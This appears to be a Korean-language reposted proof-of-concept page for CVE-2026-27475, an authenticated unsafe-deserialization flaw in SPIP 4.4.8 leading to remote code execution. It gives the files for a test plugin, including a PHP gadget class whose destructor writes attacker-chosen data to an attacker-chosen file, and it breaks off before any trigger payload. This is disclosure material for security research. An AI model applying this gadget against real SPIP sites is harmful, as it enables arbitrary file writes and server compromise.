CVE-2026-27475 — # CVE-2026-27475 개념 증명 익스플로잇 SPIP 4.4.8의 인증된 안전하지 않은 역직렬화 취약점으로, 원격 코드 실행으로 이어집니다. | Kitploit

공유

CVE-2026-27475 (CVSS-B 9.2 치명적)

SPIP 4.4.8의 인증된 안전하지 않은 역직렬화

> 설명 및 추가 정보는 내 웹사이트에서 확인하세요 <

PoC

RCE를 트리거하려면 취약한 플러그인이 필요합니다. 간단한 플러그인을 하나 만들었습니다.

다음 파일들을 생성하세요: plugins/rce_gadget/paquet.xml

<paquet
    prefix="rce_gadget"
    categorie="outil"
    version="1.0.0"
    etat="test"
    compatibilite="[4.0.0;4.*.*]"
>
    <nom>RCE Gadget</nom>
    <auteur>Attacker</auteur>
</paquet>

plugins/rce_gadget/rce_gadget_options.php

<?php
class ExploitGadget {
    public $file;
    public $data;
    public function __destruct() {
        echo "<pre>DEBUG:\n";
        echo "File: "; var_dump($this->file);
        echo "Data: "; var_dump($this->data);
        echo "</pre>";
        file_put_contents($this->file, $this->data);
        die("PROOF");
    }
}